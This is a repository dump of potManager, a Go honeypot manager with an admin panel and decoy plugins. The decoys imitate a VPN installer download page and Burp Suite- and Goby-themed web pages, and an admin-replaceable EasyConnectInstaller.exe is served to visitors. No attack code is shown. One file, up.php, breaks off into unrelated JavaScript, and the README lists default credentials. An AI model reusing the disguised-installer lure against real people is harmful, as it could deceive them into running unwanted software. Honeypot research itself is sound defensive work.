├── .gitignore
├── images
├── image-20240418211636177.png
├── image-20240418211709340.png
└── image-20240418211803916.png
├── honeyPot
├── admin
│ ├── jkxtmw
│ │ ├── img
│ │ │ ├── loading.gif
│ │ │ └── loading-sm.gif
│ │ ├── webfonts
│ │ │ ├── fa-solid-900.eot
│ │ │ ├── fa-solid-900.ttf
│ │ │ ├── fa-brands-400.eot
│ │ │ ├── fa-brands-400.ttf
│ │ │ ├── fa-brands-400.woff
│ │ │ ├── fa-regular-400.eot
│ │ │ ├── fa-regular-400.ttf
│ │ │ ├── fa-solid-900.woff
│ │ │ ├── fa-solid-900.woff2
│ │ │ ├── fa-brands-400.woff2
│ │ │ ├── fa-regular-400.woff
│ │ │ └── fa-regular-400.woff2
│ │ ├── css
│ │ │ ├── fonts
│ │ │ │ └── bootstrap-icons.woff2
│ │ │ └── common.css
│ │ ├── fonts
│ │ │ ├── glyphicons-halflings-regular.eot
│ │ │ ├── glyphicons-halflings-regular.ttf
│ │ │ ├── glyphicons-halflings-regular.woff
│ │ │ └── glyphicons-halflings-regular.woff2
│ │ └── js
│ │ │ ├── bootstrap-datetimepicker.zh-CN.js
│ │ │ ├── Pagination.js
│ │ │ ├── fileinput-zh.js
│ │ │ ├── common.js
│ │ │ └── index.js
│ ├── emb.go
│ ├── logout.go
│ ├── db
│ │ ├── dbinit.go
│ │ └── sql
│ │ │ └── 001_create_tables.sql
│ ├── html
│ │ ├── 404.html
│ │ ├── nginx.html
│ │ ├── login.html
│ │ ├── pwd.html
│ │ ├── log1.html
│ │ ├── index.html
│ │ ├── log.html
│ │ └── potconfig.html
│ ├── upload.go
│ ├── admin.go
│ ├── login.go
│ ├── changepass.go
│ ├── pot.go
│ ├── potconfig.go
│ ├── countlog.go
│ ├── tools
│ │ ├── utils.go
│ │ └── config.go
│ ├── potcontrol.go
│ ├── logsearch.go
│ └── log.go
├── plugins
│ ├── vpn
│ │ ├── resource
│ │ │ ├── ceshi.zip
│ │ │ ├── help
│ │ │ │ ├── reset.css
│ │ │ │ ├── style.css
│ │ │ │ ├── images
│ │ │ │ │ ├── QA1-00.png
│ │ │ │ │ ├── QA1-10.png
│ │ │ │ │ ├── QA2-10.png
│ │ │ │ │ ├── QA2-20.png
│ │ │ │ │ ├── QA2-40.png
│ │ │ │ │ ├── QA2-50.png
│ │ │ │ │ ├── QA3-00.png
│ │ │ │ │ ├── QA3-10.png
│ │ │ │ │ ├── QA3-20.png
│ │ │ │ │ ├── QA3-30.png
│ │ │ │ │ ├── QA4-00.png
│ │ │ │ │ ├── QA4-20.png
│ │ │ │ │ ├── QA4-30.png
│ │ │ │ │ ├── QA4-40.png
│ │ │ │ │ ├── QA5-00.png
│ │ │ │ │ ├── QA5-10.png
│ │ │ │ │ ├── QA5-20.png
│ │ │ │ │ ├── QA6-00.png
│ │ │ │ │ ├── r_top.gif
│ │ │ │ │ ├── bg_fade.jpg
│ │ │ │ │ ├── mac_pkg.png
│ │ │ │ │ ├── important.png
│ │ │ │ │ ├── win_ec_ico.png
│ │ │ │ │ ├── win_install.png
│ │ │ │ │ ├── default_logo.gif
│ │ │ │ │ ├── linux_ec_open.png
│ │ │ │ │ ├── linux_install.png
│ │ │ │ │ ├── mac_remote_app.png
│ │ │ │ │ ├── login_mac_install.png
│ │ │ │ │ ├── login_win_install.png
│ │ │ │ │ ├── mac_after_install.png
│ │ │ │ │ ├── mac_before_install.png
│ │ │ │ │ ├── login_linux_install.png
│ │ │ │ │ └── mac_remote_app_open.png
│ │ │ │ └── tool.js
│ │ │ ├── images
│ │ │ │ └── ec
│ │ │ │ │ ├── ecSpirit.png
│ │ │ │ │ ├── iosCode.png
│ │ │ │ │ ├── androidCode.png
│ │ │ │ │ └── androidPadCode.png
│ │ │ ├── css
│ │ │ │ ├── normalize.min.css
│ │ │ │ └── installClient.css
│ │ │ └── js
│ │ │ │ └── installClient.min.js
│ │ └── vpn.go
│ ├── burpsuite
│ │ ├── resource
│ │ │ ├── iis-85.png
│ │ │ ├── up.php
│ │ │ ├── index.php
│ │ │ └── index.html
│ │ └── burpsuite.go
│ ├── static.go
│ └── goby
│ │ ├── resource
│ │ └── index.html
│ │ └── goby.go
├── upload
│ └── EasyConnectInstaller.exe
├── go.mod
├── utils
│ ├── start.go
│ ├── stop.go
│ ├── mysql
│ │ ├── flavor_mariadb_binlog_playback.go
│ │ ├── gtid_set.go
│ │ ├── auth_server_none.go
│ │ ├── conn_params.go
│ │ ├── sql_utils.go
│ │ ├── slave_status.go
│ │ ├── replication.go
│ │ ├── binlog_event_mariadb.go
│ │ ├── binlog_event_mysql56.go
│ │ ├── charset.go
│ │ ├── gtid.go
│ │ ├── mysql56_gtid.go
│ │ ├── streaming_query.go
│ │ ├── sql_error.go
│ │ ├── flavor_mysql.go
│ │ ├── replication_position.go
│ │ ├── mariadb_gtid.go
│ │ ├── replication_constants.go
│ │ ├── doc.go
│ │ └── flavor_mariadb.go
│ └── log
│ │ ├── sqlitehook.go
│ │ └── mylog.go
└── main.go
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | logs
2 | .idea
3 | sig.exe
4 | license.dat
5 | *.db
6 |
--------------------------------------------------------------------------------
/images/image-20240418211636177.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/images/image-20240418211636177.png
--------------------------------------------------------------------------------
/images/image-20240418211709340.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/images/image-20240418211709340.png
--------------------------------------------------------------------------------
/images/image-20240418211803916.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/images/image-20240418211803916.png
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/img/loading.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/img/loading.gif
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/ceshi.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/ceshi.zip
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/img/loading-sm.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/img/loading-sm.gif
--------------------------------------------------------------------------------
/honeyPot/upload/EasyConnectInstaller.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/upload/EasyConnectInstaller.exe
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/reset.css:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/reset.css
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/style.css:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/style.css
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-solid-900.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-solid-900.eot
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-solid-900.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-solid-900.ttf
--------------------------------------------------------------------------------
/honeyPot/plugins/burpsuite/resource/iis-85.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/burpsuite/resource/iis-85.png
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-brands-400.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-brands-400.eot
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-brands-400.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-brands-400.ttf
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-brands-400.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-brands-400.woff
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-regular-400.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-regular-400.eot
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-regular-400.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-regular-400.ttf
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-solid-900.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-solid-900.woff
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-solid-900.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-solid-900.woff2
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-brands-400.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-brands-400.woff2
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-regular-400.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-regular-400.woff
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/webfonts/fa-regular-400.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/webfonts/fa-regular-400.woff2
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA1-00.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA1-00.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA1-10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA1-10.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA2-10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA2-10.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA2-20.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA2-20.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA2-40.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA2-40.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA2-50.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA2-50.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA3-00.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA3-00.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA3-10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA3-10.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA3-20.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA3-20.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA3-30.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA3-30.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA4-00.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA4-00.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA4-20.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA4-20.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA4-30.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA4-30.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA4-40.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA4-40.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA5-00.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA5-00.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA5-10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA5-10.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA5-20.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA5-20.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/QA6-00.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/QA6-00.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/r_top.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/r_top.gif
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/images/ec/ecSpirit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/images/ec/ecSpirit.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/images/ec/iosCode.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/images/ec/iosCode.png
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/css/fonts/bootstrap-icons.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/css/fonts/bootstrap-icons.woff2
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/bg_fade.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/bg_fade.jpg
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/mac_pkg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/mac_pkg.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/important.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/important.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/win_ec_ico.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/win_ec_ico.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/win_install.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/win_install.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/images/ec/androidCode.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/images/ec/androidCode.png
--------------------------------------------------------------------------------
/honeyPot/admin/emb.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import "embed"
4 |
5 | //go:embed html
6 | var HtmlFS embed.FS
7 |
8 | //go:embed jkxtmw
9 | var StaFS embed.FS
10 |
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/default_logo.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/default_logo.gif
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/linux_ec_open.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/linux_ec_open.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/linux_install.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/linux_install.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/images/ec/androidPadCode.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/images/ec/androidPadCode.png
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/fonts/glyphicons-halflings-regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/fonts/glyphicons-halflings-regular.eot
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/fonts/glyphicons-halflings-regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/fonts/glyphicons-halflings-regular.ttf
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/fonts/glyphicons-halflings-regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/fonts/glyphicons-halflings-regular.woff
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/fonts/glyphicons-halflings-regular.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/admin/jkxtmw/fonts/glyphicons-halflings-regular.woff2
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/mac_remote_app.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/mac_remote_app.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/login_mac_install.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/login_mac_install.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/login_win_install.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/login_win_install.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/mac_after_install.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/mac_after_install.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/mac_before_install.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/mac_before_install.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/login_linux_install.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/login_linux_install.png
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/images/mac_remote_app_open.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/handbye/potmanager/HEAD/honeyPot/plugins/vpn/resource/help/images/mac_remote_app_open.png
--------------------------------------------------------------------------------
/honeyPot/admin/logout.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import (
4 | "github.com/gin-contrib/sessions"
5 | "github.com/gin-gonic/gin"
6 | )
7 |
8 | func logout(c *gin.Context) {
9 |
10 | //清除该用户登录状态的数据
11 | session := sessions.Default(c)
12 | session.Delete("secure")
13 | session.Save()
14 | //session.Clear()
15 |
16 | c.Redirect(302,"/"+Adminurl)
17 | }
--------------------------------------------------------------------------------
/honeyPot/plugins/burpsuite/resource/up.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
4 | */
5 | ;(function($){
6 | $.fn.datetimepicker.dates['zh-CN'] = {
7 | days: ["星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六", "星期日"],
8 | daysShort: ["周日", "周一", "周二", "周三", "周四", "周五", "周六", "周日"],
9 | daysMin: ["日", "一", "二", "三", "四", "五", "六", "日"],
10 | months: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"],
11 | monthsShort: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"],
12 | today: "今天",
13 | suffix: [],
14 | meridiem: ["上午", "下午"]
15 | };
16 | }(jQuery));
17 |
--------------------------------------------------------------------------------
/honeyPot/plugins/static.go:
--------------------------------------------------------------------------------
1 | package plugins
2 |
3 | import (
4 | "embed"
5 | "github.com/gin-contrib/static"
6 | "io/fs"
7 | "net/http"
8 | )
9 |
10 | // 参考:https://github.com/gin-contrib/static/issues/19
11 |
12 | type embedFileSystem struct {
13 | http.FileSystem
14 | }
15 |
16 | func (e embedFileSystem) Exists(prefix string, path string) bool {
17 | _, err := e.Open(path)
18 | if err != nil {
19 | return false
20 | }
21 | return true
22 | }
23 |
24 | func EmbedFolder(fsEmbed embed.FS, targetPath string) static.ServeFileSystem {
25 | fsys, err := fs.Sub(fsEmbed, targetPath)
26 | if err != nil {
27 | panic(err)
28 | }
29 | return embedFileSystem{
30 | FileSystem: http.FS(fsys),
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # potManager
2 |
3 | 这个项目是由[这个项目](https://github.com/handbye/SimpleHoneyPot)演化而来的,加了web管理和详细的日志记录。
4 |
5 | > 此项目是2021年编写的,其中用到的蜜罐技术现在已经过时了,仅作为学习使用~~。
6 |
7 | 特点:
8 |
9 | - 跨平台
10 | - 编译后仅一个二进制文件,无任何依赖
11 | - 方便使用可自行扩展插件支持其他蜜罐
12 |
13 | 使用方法:
14 |
15 | 使用`main.exe -h`即可查看启动帮助
16 |
17 | 
18 |
19 | **初次使用时必须使用 `-init`参数初始化数据。**
20 |
21 | 启动完毕后会提示后台地址:
22 |
23 | 
24 |
25 | 然后拼接此地址即可登录后台:
26 |
27 | 例如:
28 |
29 | ```txt
30 | http://localhost:8080/bvovxsli/
31 | ```
32 |
33 | 平台默认用户名密码:venus/venus@2021
34 |
35 | 
36 |
37 | 登录后务必修改密码!!!
38 |
--------------------------------------------------------------------------------
/honeyPot/go.mod:
--------------------------------------------------------------------------------
1 | module honeypot
2 |
3 | go 1.16
4 |
5 | require (
6 | github.com/gin-contrib/sessions v0.0.4
7 | github.com/gin-contrib/static v0.0.1
8 | github.com/gin-gonic/gin v1.7.4
9 | github.com/golang/glog v1.0.0 // indirect
10 | github.com/golang/protobuf v1.5.2 // indirect
11 | github.com/mattn/go-sqlite3 v1.14.9
12 | github.com/pkg/errors v0.9.1
13 | github.com/pressly/goose/v3 v3.4.1
14 | github.com/sirupsen/logrus v1.8.1
15 | golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f
16 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c
17 | golang.org/x/text v0.3.7
18 | google.golang.org/grpc v1.42.0 // indirect
19 | gopkg.in/yaml.v2 v2.4.0 // indirect
20 | vitess.io/vitess v3.0.0-rc.3.0.20190602171040-12bfde34629c+incompatible
21 | )
22 |
--------------------------------------------------------------------------------
/honeyPot/utils/start.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "fmt"
5 | "golang.org/x/sync/errgroup"
6 | "honeypot/admin"
7 | "log"
8 | "net/http"
9 | "time"
10 | )
11 |
12 | var (
13 | g errgroup.Group
14 | )
15 |
16 | var Vip *string
17 | var Vport *string
18 |
19 | var Sys = &http.Server{}
20 |
21 | func Start() {
22 |
23 | fmt.Println("平台正在启动,请稍等...")
24 |
25 | fmt.Printf("后台地址是:【 %s 】 ,请保存,此地址每次启动都会更改!\n", admin.Adminurl)
26 |
27 | Sys = &http.Server{
28 | Addr: *Vip + ":" + *Vport,
29 | Handler: admin.Admin(),
30 | ReadTimeout: 5 * time.Second,
31 | WriteTimeout: 5 * time.Second,
32 | }
33 |
34 | admin.G.Go(func() error {
35 | return Sys.ListenAndServe()
36 | })
37 |
38 | if err := admin.G.Wait(); err != nil {
39 | log.Fatal(err)
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/honeyPot/admin/html/nginx.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | Welcome to nginx!
4 |
11 |
12 |
13 | Welcome to nginx!
14 | If you see this page, the nginx web server is successfully installed and
15 | working. Further configuration is required.
16 |
17 | For online documentation and support please refer to
18 | nginx.org.
19 | Commercial support is available at
20 | nginx.com.
21 |
22 | Thank you for using nginx.
23 |
24 |
25 |
--------------------------------------------------------------------------------
/honeyPot/plugins/goby/resource/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | Welcome to nginx!
4 |
11 |
12 |
13 | Welcome to nginx!
14 | If you see this page, the nginx web server is successfully installed and
15 | working. Further configuration is required.
16 |
17 | For online documentation and support please refer to
18 | nginx.org.
19 | Commercial support is available at
20 | nginx.com.
21 |
22 | Thank you for using nginx.
23 |
24 |
25 |
--------------------------------------------------------------------------------
/honeyPot/admin/upload.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import (
4 | "fmt"
5 | "github.com/gin-gonic/gin"
6 | "honeypot/admin/tools"
7 | "net/http"
8 | "os"
9 | )
10 |
11 | func UploadFile(c *gin.Context) {
12 | islogin := tools.GetSession(c)
13 | if islogin {
14 | if c.Request.Method == "POST" {
15 | f, err := c.FormFile("file")
16 | code := 1
17 | if err == nil {
18 | //调用save之前先删除对应文件
19 | err = os.Remove(tools.VpnFile)
20 | if err != nil {
21 | fmt.Println(err)
22 | }
23 |
24 | //后续其他upload调用需修改dst参数
25 | err = c.SaveUploadedFile(f, tools.VpnFile)
26 | if err != nil {
27 | fmt.Println(err)
28 | } else {
29 | code = 0
30 | }
31 | }
32 | c.JSON(http.StatusOK, gin.H{"code": code})
33 | }
34 | } else {
35 | c.HTML(http.StatusOK, "login.html", nil)
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/honeyPot/plugins/burpsuite/resource/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IIS Windows Server
6 |
24 |
25 |
26 |
27 |
28 |

29 |
30 |
31 |
--------------------------------------------------------------------------------
/honeyPot/plugins/vpn/resource/help/tool.js:
--------------------------------------------------------------------------------
1 | function isIe6(){
2 | var ua = navigator.userAgent.toLowerCase();
3 | return /msie 6/.test(ua);
4 | }
5 | function $id(id){
6 | return document.getElementById(id);
7 | }
8 |
9 | function layoutTopLink(){
10 | if(layoutTopLink.timer!=null){
11 | window.clearTimeout(layoutTopLink.timer);
12 | }
13 | layoutTopLink.timer = window.setTimeout(function(){
14 | var el = $id("returnTop");
15 | //alert(document.body.clientHeight);
16 | var de = document.documentElement;
17 | if(de){
18 | el.style.right = "0px";
19 | //alert(de.scrollTop+de.clientHeight);
20 | el.style.top = (de.scrollTop+de.clientHeight-el.offsetHeight)+"px";
21 | }
22 | },50);
23 | }
24 | layoutTopLink.timer = null;
25 |
26 | window.onload = function(){
27 | if(isIe6()){
28 | layoutTopLink();
29 | window.onscroll = function(){
30 | layoutTopLink();
31 | }
32 | }
33 | }
--------------------------------------------------------------------------------
/honeyPot/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "honeypot/admin"
7 | "honeypot/admin/db"
8 | "honeypot/admin/tools"
9 | "honeypot/utils"
10 | "os"
11 | )
12 |
13 | var Vinit *bool
14 | var Vstart *bool
15 |
16 | func init() {
17 | tools.CreateUploadDic()
18 | admin.Exit()
19 | flag.CommandLine = flag.NewFlagSet(os.Args[0], flag.ExitOnError)
20 | Vinit = flag.Bool("init", false, "初始化数据")
21 | Vstart = flag.Bool("start", false, "启动平台")
22 | utils.Vip = flag.String("ip","0.0.0.0","平台启动IP")
23 | utils.Vport = flag.String("port","80","平台启动端口")
24 | flag.Parse()
25 | }
26 |
27 | func main() {
28 | _, err := os.Stat(tools.DbPath)
29 | if err != nil {
30 | fmt.Printf("\"数据库文件不存在,请进行初始化操作,使用 %s -h 查看操作方法\\n\",os.Args[0]")
31 | os.Exit(1)
32 | }
33 | if *Vinit {
34 | db.DbInit()
35 | }
36 | if *Vstart {
